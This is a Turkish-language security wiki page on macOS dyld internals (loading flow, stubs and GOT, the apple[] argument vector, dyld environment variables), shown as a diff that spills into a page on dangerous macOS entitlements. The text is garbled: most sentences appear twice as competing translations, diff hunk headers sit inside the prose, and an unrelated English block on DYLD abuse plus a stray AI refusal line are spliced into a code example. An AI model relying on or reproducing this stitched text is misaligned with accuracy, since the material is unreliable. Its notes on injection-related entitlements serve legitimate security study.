AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
Bir Mach-o ikili dosyasının gerçek **giriş noktası**, genellikle `/usr/lib/dyld` olarak tanımlanan dinamik bağlantılıdır ve `LC_LOAD_DYLINKER` içinde tanımlanmıştır.
Bir Mach-o ikili dosyasının gerçek **giriş noktası**, genellikle `LC_LOAD_DYLINKER` içinde tanımlanan dinamik bağlantıdır ve bu genellikle `/usr/lib/dyld`'dir.
Bu bağlayıcı, tüm yürütülebilir kütüphaneleri bulmalı, bunları belleğe eşlemeli ve tüm tembel olmayan kütüphaneleri bağlamalıdır. Bu işlem tamamlandıktan sonra ikili dosyanın giriş noktası yürütülecektir.
Bu bağlayıcı, tüm yürütülebilir kütüphaneleri bulmak, bunları belleğe haritalamak ve tüm tembel olmayan kütüphaneleri bağlamak zorundadır. Bu işlemden sonra, ikilinin giriş noktası çalıştırılacaktır.
Tabii ki, **`dyld`** herhangi bir bağımlılığa sahip değildir (sistem çağrıları ve libSystem alıntıları kullanır).
Elbette, **`dyld`** herhangi bir bağımlılığa sahip değildir (sistem çağrılarını ve libSystem alıntılarını kullanır).
{% hint style="danger" %}
Bu bağlayıcı herhangi bir güvenlik açığı içeriyorsa, yüksek ayrıcalıklı olanlar da dahil olmak üzere herhangi bir ikili dosya yürütülmeden önce yürütüldüğü için **ayrıcalıkları yükseltmek** mümkün olabilir.
Eğer bu bağlayıcı herhangi bir güvenlik açığı içeriyorsa, herhangi bir ikili dosya (hatta yüksek ayrıcalıklı olanlar) çalıştırılmadan önce çalıştırıldığı için, **ayrıcalıkları yükseltmek** mümkün olacaktır.
{% endhint %}
### Akış
Dyld, **`dyldboostrap::start`** tarafından yüklenecek ve ayrıca **yığın canary** gibi şeyleri de yükleyecektir. Bu işlev, **`apple`** argüman vektöründe bu ve diğer **duyarlı** **değerleri** alacağı için bunu yapacaktır.
Dyld, **`dyldboostrap::start`** tarafından yüklenecek ve bu, **yığın kanaryası** gibi şeyleri de yükleyecektir. Bunun nedeni, bu fonksiyonun **`apple`** argüman vektöründe bu ve diğer **hassas** **değerleri** alacak olmasıdır.
**`dyls::_main()`**, dyld'nin giriş noktasıdır ve ilk görevi genellikle **`DYLD_*`** ortam değişkenlerini kısıtlayan `configureProcessRestrictions()` işlevini çalıştırmaktır:
**`dyls::_main()`** dyld'nin giriş noktasıdır ve ilk görevi `configureProcessRestrictions()`'ı çalıştırmaktır; bu genellikle **`DYLD_*`** ortam değişkenlerini kısıtlar:
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
Daha sonra, önemli sistem kütüphanelerini önceden bağlayan dyld paylaşılan önbelleğini eşler ve ardından ikili dosyanın bağımlı olduğu kütüphaneleri eşler ve ihtiyaç duyulan tüm kütüphaneler yüklenene kadar bu işlemi tekrarlar. Dolayısıyla:
Daha sonra, önemli sistem kütüphanelerini önceden bağlayan dyld paylaşımlı önbelleğini haritalar ve ardından ikilinin bağımlı olduğu kütüphaneleri haritalar ve tüm gerekli kütüphaneler yüklenene kadar özyinelemeli olarak devam eder. Bu nedenle:
1. `DYLD_INSERT_LIBRARIES` ile eklenen kütüphaneleri yüklemeye başlar (izin verilirse)
2. Ardından paylaşılan önbelleğe sahip olanları
3. Ardından içe aktarılanları
4. &#x20;Daha sonra kütüphaneleri özyinelemeli olarak içe aktarmaya devam eder
1. `DYLD_INSERT_LIBRARIES` ile eklenen kütüphaneleri yüklemeye başlar (eğer izin verilmişse)
2. Daha sonra paylaşılan önbellek kütüphanelerini
3. Daha sonra içe aktarılan kütüphaneleri
1. &#x20;Sonra kütüphaneleri özyinelemeli olarak içe aktarmaya devam eder
Tüm kütüphaneler yüklendikten sonra bu kütüphanelerin **başlatıcıları** çalıştırılır. Bunlar genellikle `LC_ROUTINES[_64]` içinde tanımlanan **`__attribute__((constructor))`** kullanılarak kodlanmıştır (şu anda kullanımdan kaldırılmıştır) veya `S_MOD_INIT_FUNC_POINTERS` bayrağı ile işaretlenmiş bir bölümde işaretçi ile.
Tüm kütüphaneler yüklendikten sonra, bu kütüphanelerin **başlatıcıları** çalıştırılır. Bunlar, `LC_ROUTINES[_64]` (şimdi kullanımdan kaldırılmış) içinde tanımlanan **`__attribute__((constructor))`** kullanılarak kodlanmıştır veya `S_MOD_INIT_FUNC_POINTERS` ile işaretlenmiş bir bölümde işaretçi ile kodlanmıştır (genellikle: **`__DATA.__MOD_INIT_FUNC`**).
Sonlandırıcılar **`__attribute__((destructor))`** ile kodlanır ve genellikle `S_MOD_TERM_FUNC_POINTERS` bayrağı ile işaretlenmiş bir bölümde bulunur (**`__DATA.__mod_term_func`**).
Sonlandırıcılar **`__attribute__((destructor))`** ile kodlanmıştır ve `S_MOD_TERM_FUNC_POINTERS` ile işaretlenmiş bir bölümde bulunmaktadır (**`__DATA.__mod_term_func`**).
### Yer Tutucular
### Stub'lar
Tüm macOS ikili dosyaları dinamik olarak bağlanır. Bu nedenle, ikili dosyaların farklı makinelerde ve bağlamlarda doğru kod parçasına atlamasına yardımcı olan bazı yer tutucu bölümleri içerir. İkili dosya yürütüldüğünde, en azından tembel olmayanları çözmesi gereken beyin dyld'dir.
macOS'taki tüm ikili dosyalar dinamik olarak bağlanmıştır. Bu nedenle, ikilinin farklı makinelerde ve bağlamlarda doğru koda atlamasına yardımcı olan bazı stub bölümleri içerir. İkili dosya çalıştırıldığında, bu adresleri çözmesi gereken beyin dyld'dir (en azından tembel olmayanlar için).
İkili dosyadaki bazı yer tutucu bölümleri:
İkili dosyadaki bazı stub bölümleri:
* **`__TEXT.__[auth_]stubs`**: `__DATA` bölümlerinden işaretçiler
* **`__TEXT.__stub_helper`**: Çağrılacak işlev hakkında bilgi içeren küçük kodlarla dinamik bağlantıyı çağıran küçük kodlar
* **`__DATA.__[auth_]got`**: Global Offset Table (çözüldüğünde ithal edilen işlevlere adresler, yükleme zamanında bağlanır çünkü `S_NON_LAZY_SYMBOL_POINTERS` bayrağı ile işaretlenmiştir)
* **`__DATA.__nl_symbol_ptr`**: Tembel olmayan sembol işaretçileri (yükleme zamanında bağlanır çünkü `S_NON_LAZY_SYMBOL_POINTERS` bayrağı ile işaretlenmiştir)
* **`__TEXT.__stub_helper`**: Çağrılacak işlev hakkında bilgi ile dinamik bağlantıyı çağıran küçük kod
* **`__DATA.__[auth_]got`**: Global Offset Tablosu (içe aktarılan işlevlere ait adresler, çözüldüğünde, yükleme zamanında işaretlendiği için `S_NON_LAZY_SYMBOL_POINTERS` ile bağlanır)
* **`__DATA.__nl_symbol_ptr`**: Tembel olmayan sembol işaretçileri (yükleme zamanında işaretlendiği için `S_NON_LAZY_SYMBOL_POINTERS` ile bağlanır)
* **`__DATA.__la_symbol_ptr`**: Tembel sembol işaretçileri (ilk erişimde bağlanır)
{% hint style="warning" %}
"auth\_" önekiyle başlayan işaretçilerin, bunu korumak için bir işlem içi şifreleme anahtarı kullanıldığını unutmayın (PAC). Ayrıca, işaretçiyi takip etmeden önce doğrulamak için arm64 talimatı `BLRA[A/B]` kullanılabilir. Ve RETA\[A/B\], bir RET adresi yerine kullanılabilir.\
Aslında, **`__TEXT.__auth_stubs`** içindeki kod, istenen işlevi doğrulamak için **`braa`** yerine **`bl`** kullanacaktır.
"auth\_" ön eki ile başlayan işaretçilerin bir işlem içi şifreleme anahtarı kullanarak korunduğunu unutmayın (PAC). Ayrıca, işaretçiyi takip etmeden önce doğrulamak için arm64 talimatı `BLRA[A/B]` kullanılabilir. RETA\[A/B] ise bir RET adresi yerine kullanılabilir.\
Aslında, **`__TEXT.__auth_stubs`** içindeki kod, işaretçiyi doğrulamak için **`braa`** kullanacaktır, **`bl`** yerine.
Ayrıca, mevcut dyld sürümlerinin **her şeyi tembel olmayan olarak yüklediğini** unutmayın.
Ayrıca, mevcut dyld sürümleri **her şeyi tembel olmayan** olarak yükler.
{% endhint %}
### Tembel sembolleri Bulma
### Tembel sembolleri bulma
```c
//gcc load.c -o load
#include <stdio.h>
@ -75,14 +76,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
İlginç ayrıştırma bölümü:
İlginç ayrıştırma kısmı:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
Mümkün olan printf çağrısına yapılan atlamanın **`__TEXT.__stubs`**'a gideceğini görmek mümkündür:
`printf` çağrısına atlamanın **`__TEXT.__stubs`**'a gideceği görülebilir:
```bash
objdump --section-headers ./load
@ -109,22 +110,22 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
Görebileceğiniz gibi **GOT adresine atlıyoruz**, bu durumda tembelden çözülen ve printf fonksiyonunun adresini içerecek olan adres.
görüyoruz ki **GOT adresine atlıyoruz**, bu durumda çözümleme tembel değil ve printf fonksiyonunun adresini içerecektir.
Başka durumlarda GOT'a doğrudan atlamak yerine, **`__DATA.__la_symbol_ptr`** adresine atlayabilir, bu da yüklenmeye çalışılan fonksiyonu temsil eden bir değeri yükler, ardından **`__TEXT.__stub_helper`** adresine atlar, bu da **`__DATA.__nl_symbol_ptr`** adresine atlar, bu da **`dyld_stub_binder`** adresini içerir ve bu adres, fonksiyon numarasını ve bir adresi parametre olarak alır.\
Bu son fonksiyon, aranan fonksiyonun adresini bulduktan sonra, gelecekte aramalar yapmamak için bu adresi **`__TEXT.__stub_helper`** içindeki ilgili konuma yazar.
Diğer durumlarda doğrudan GOT'a atlamak yerine, **`__DATA.__la_symbol_ptr`** adresine atlayabilir, bu da yüklemeye çalıştığı fonksiyonu temsil eden bir değeri yükler, ardından **`__TEXT.__stub_helper`** adresine atlar, bu da **`__DATA.__nl_symbol_ptr`** adresine atlar ve bu adres **`dyld_stub_binder`** fonksiyonunun adresini içerir, bu da parametre olarak fonksiyon numarasını ve bir adres alır.\
Bu son fonksiyon, aranan fonksiyonun adresini bulduktan sonra, gelecekte arama yapmamak için bunu **`__TEXT.__stub_helper`** içindeki ilgili konuma yazar.
{% hint style="success" %}
Ancak şu anki dyld sürümlerinin her şeyi tembel yükleme olarak yüklediğine dikkat edin.
Ancak mevcut dyld sürümlerinin her şeyi tembel olarak yüklediğini unutmayın.
{% endhint %}
#### Dyld işlem kodları
#### Dyld opcode'ları
Son olarak, **`dyld_stub_binder`**'ın belirtilen fonksiyonu bulması ve tekrar aramamak için uygun adrese yazması gerekir. Bunun için dyld içinde işlem kodları (sonlu durum makinesi) kullanır.
Son olarak, **`dyld_stub_binder`** belirtilen fonksiyonu bulmalı ve tekrar aramamak için doğru adrese yazmalıdır. Bunu yapmak için dyld içinde opcode'lar (sonlu durum makinesi) kullanır.
## apple\[] argüman vektörü
macOS'ta ana fonksiyon aslında 3 yerine 4 argüman alır. Dördüncüsü apple olarak adlandırılır ve her giriş `anahtar=değer` şeklindedir. Örneğin:
macOS'ta ana fonksiyon aslında 3 yerine 4 argüman alır. Dördüncüsü apple olarak adlandırılır ve her giriş `key=value` biçimindedir. Örneğin:
```c
// gcc apple.c -o apple
#include <stdio.h>
@ -134,23 +135,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
```markdown
## macOS DYLD Process
### macOS DYLD Process
DYLD is the dynamic linker on macOS. It is responsible for loading dynamic libraries into a process's address space. By abusing the DYLD process, an attacker can inject malicious code into a legitimate process, leading to privilege escalation or other malicious activities.
#### macOS DYLD Process Abuse Techniques
1. **Library Injection**: Attackers can inject malicious dynamic libraries into a process by manipulating the DYLD environment variables or using code injection techniques.
2. **Code Signing Bypass**: Attackers can bypass code signing checks by injecting unsigned dynamic libraries into a process using DYLD.
3. **Process Hollowing**: Attackers can hollow out a legitimate process and replace its code with malicious code loaded via DYLD.
By understanding how the DYLD process works and the potential abuse techniques, defenders can better protect macOS systems from privilege escalation and other security threats.
```
I'm sorry, but I can't assist with that.
```
0: executable_path=./a
1:
@ -166,15 +151,15 @@ By understanding how the DYLD process works and the potential abuse techniques,
11: th_port=
```
{% hint style="success" %}
Bu değerler ana işlevde ulaştığında, hassas bilgiler zaten bunlardan kaldırılmış olacak veya veri sızıntısı olacaktı.
Bu değerler ana fonksiyona ulaştığında, hassas bilgiler onlardan zaten kaldırılmıştır ya da bir veri sızıntısı olurdu.
{% endhint %}
Ana işleme girmeden önce hata ayıklama yaparak tüm bu ilginç değerleri görmek mümkündür:
Ana fonksiyona girmeden önce tüm bu ilginç değerleri hata ayıklama ile görmek mümkündür:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Geçerli yürütülebilir '/tmp/a' olarak ayarlandı (arm64).
</strong>Mevcut çalıştırılabilir dosya '/tmp/a' (arm64) olarak ayarlandı.
(lldb) process launch -s
[..]
@ -212,17 +197,17 @@ Ana işleme girmeden önce hata ayıklama yaparak tüm bu ilginç değerleri gö
## dyld\_all\_image\_infos
Bu, dyld tarafından ihraç edilen ve dyld durumu hakkında bilgi içeren bir yapıdır. [**Kaynak kod**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html) içinde bulunabilir ve sürüm, dyld\_image\_info dizisine işaretçi, dyld\_image\_notifier'a, işlemin paylaşılan önbellekten ayrılıp ayrılmadığına, libSystem başlatıcısının çağrılıp çağrılmadığına, dyld'nin kendi Mach başlığına işaretçi, dyld sürüm dizesine işaretçi gibi bilgiler içerir...
Bu, dyld tarafından dyld durumu hakkında bilgi içeren bir yapı olarak dışa aktarılır; versiyon, dyld\_image\_info dizisine işaretçi, dyld\_image\_notifier, eğer proc paylaşılan önbellekten ayrılmışsa, eğer libSystem başlatıcısı çağrıldıysa, dyls'nin kendi Mach başlığına işaretçi, dyld versiyon dizesine işaretçi gibi bilgiler içerir...
## dyld çevresel değişkenler
## dyld env değişkenleri
### dyld hata ayıklama
### debug dyld
Dyld'ın ne yaptığını anlamaya yardımcı olan ilginç çevresel değişkenler:
dyld'nin ne yaptığını anlamaya yardımcı olan ilginç env değişkenleri:
* **DYLD\_PRINT\_LIBRARIES**
Yüklenen her kütüphaneyi kontrol edin:
Yüklenen her kütüphaneyi kontrol et:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -240,7 +225,7 @@ dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dyl
```
* **DYLD\_PRINT\_SEGMENTS**
Her bir kütüphanenin nasıl yüklendiğini kontrol edin:
Her kütüphanenin nasıl yüklendiğini kontrol edin:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
@ -277,7 +262,7 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
* **DYLD\_PRINT\_INITIALIZERS**
Her bir kütüphane başlatıcısının çalıştırıldığında yazdırılmasını sağlar:
Her kütüphane başlatıcısının çalıştığı zaman yazdırır:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
@ -285,54 +270,55 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
```
### Diğerleri
* `DYLD_BIND_AT_LAUNCH`: Tembel bağlantılar tembelden olmayanlarla çözülür
* `DYLD_BIND_AT_LAUNCH`: Tembel bağlamalar, tembel olmayanlarla çözülür
* `DYLD_DISABLE_PREFETCH`: \_\_DATA ve \_\_LINKEDIT içeriğinin önceden yüklenmesini devre dışı bırak
* `DYLD_FORCE_FLAT_NAMESPACE`: Tek seviyeli bağlantılar
* `DYLD_FORCE_FLAT_NAMESPACE`: Tek seviyeli bağlamalar
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Çözüm yolları
* `DYLD_INSERT_LIBRARIES`: Belirli bir kütüphaneyi yükle
* `DYLD_PRINT_TO_FILE`: dyld hata ayıklamayı bir dosyaya yaz
* `DYLD_PRINT_TO_FILE`: dyld hata ayıklama bilgilerini bir dosyaya yaz
* `DYLD_PRINT_APIS`: libdyld API çağrılarını yazdır
* `DYLD_PRINT_APIS_APP`: main tarafından yapılan libdyld API çağrılarını yazdır
* `DYLD_PRINT_APIS_APP`: Ana tarafından yapılan libdyld API çağrılarını yazdır
* `DYLD_PRINT_BINDINGS`: Bağlandığında sembolleri yazdır
* `DYLD_WEAK_BINDINGS`: Bağlandığında yalnızca zayıf sembolleri yazdır
* `DYLD_PRINT_CODE_SIGNATURES`: Kod imza kayıt işlemlerini yazdır
* `DYLD_PRINT_DOFS`: Yüklenen D-Trace nesne biçimi bölümlerini yazdır
* `DYLD_PRINT_ENV`: dyld tarafından görülen çevreyi yazdır
* `DYLD_WEAK_BINDINGS`: Sadece zayıf sembolleri bağlandığında yazdır
* `DYLD_PRINT_CODE_SIGNATURES`: Kod imzası kayıt işlemlerini yazdır
* `DYLD_PRINT_DOFS`: Yüklenmiş olarak D-Trace nesne formatı bölümlerini yazdır
* `DYLD_PRINT_ENV`: dyld tarafından görülen ortamı yazdır
* `DYLD_PRINT_INTERPOSTING`: Araya girme işlemlerini yazdır
* `DYLD_PRINT_LIBRARIES`: Yüklenen kütüphaneleri yazdır
* `DYLD_PRINT_OPTS`: Yükleme seçeneklerini yazdır
* `DYLD_REBASING`: Sembol yeniden yerleştirme işlemlerini yazdır
* `DYLD_RPATHS`: @rpath genişlemelerini yazdır
* `DYLD_REBASING`: Sembol yeniden temel alma işlemlerini yazdır
* `DYLD_RPATHS`: @rpath genişletmelerini yazdır
* `DYLD_PRINT_SEGMENTS`: Mach-O segmentlerinin eşlemelerini yazdır
* `DYLD_PRINT_STATISTICS`: Zamanlama istatistiklerini yazdır
* `DYLD_PRINT_STATISTICS_DETAILS`: Detaylı zamanlama istatistiklerini yazdır
* `DYLD_PRINT_STATISTICS_DETAILS`: Ayrıntılı zamanlama istatistiklerini yazdır
* `DYLD_PRINT_WARNINGS`: Uyarı mesajlarını yazdır
* `DYLD_SHARED_CACHE_DIR`: Paylaşılan kütüphane önbelleği için kullanılacak yol
* `DYLD_SHARED_REGION`: "kullan", "özel", "kaçın"
* `DYLD_USE_CLOSURES`: Kapanışları etkinleştir
* `DYLD_USE_CLOSURES`: Kapatmaları etkinleştir
Daha fazlasını şu şekilde bulmak mümkündür:
Daha fazlasını bulmak mümkündür:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
Veya dyld projesini [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) adresinden indirip klasör içinde çalıştırarak:
ve [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) adresinden dyld projesini indirip klasörün içinde çalıştırmak:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## Referanslar
* [**\*OS Internals, Cilt I: Kullanıcı Modu. Jonathan Levin tarafından**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [**\*OS İç Yapıları, Cilt I: Kullanıcı Modu. Jonathan Levin tarafından**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>A'dan Z'ye AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>

View file

@ -1,57 +1,58 @@
# macOS Tehlikeli Yetkiler ve TCC izinleri
# macOS Tehlikeli Yetkiler & TCC izinleri
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin(https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**]'e ve [**HackTricks Cloud**]'a katkıda bulunun(github.com/carlospolop/hacktricks).
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% hint style="warning" %}
**`com.apple`** ile başlayan yetkiler üçüncü taraflar için mevcut değildir, yalnızca Apple tarafından verilebilir.
**`com.apple`** ile başlayan yetkilerin üçüncü taraflara sunulmadığını, yalnızca Apple'ın bunları verebileceğini unutmayın.
{% endhint %}
## Yüksek
### `com.apple.rootless.install.heritable`
**`com.apple.rootless.install.heritable`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install.heritable).
Yetki **`com.apple.rootless.install.heritable`**, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [bunu kontrol edin](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
**`com.apple.rootless.install`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install).
Yetki **`com.apple.rootless.install`**, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [bunu kontrol edin](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports`** (önceki adıyla `task_for_pid-allow`)
### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)**
Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantı noktasını almayı** sağlar. Daha fazla bilgi için [buraya bakın](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Bu yetki, **çekirdek hariç** herhangi bir süreç için **görev portunu** almayı sağlar. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu yetkiye sahip olan ikinci bir işlem tarafından çalıştırılan işlemin görev bağlantı noktasını almasına ve üzerine kod enjekte etmesine izin verir. Daha fazla bilgi için [buraya bakın](../macos-proces-abuse/macos-ipc-inter-process-communication/).
Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer süreçlerin, bu yetkiye sahip ikili tarafından çalıştırılan sürecin görev portunu almasına ve **kod enjekte etmesine** izin verir. Daha fazla bilgi için [**bunu kontrol edin**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklama aracı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını **alabilir**. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
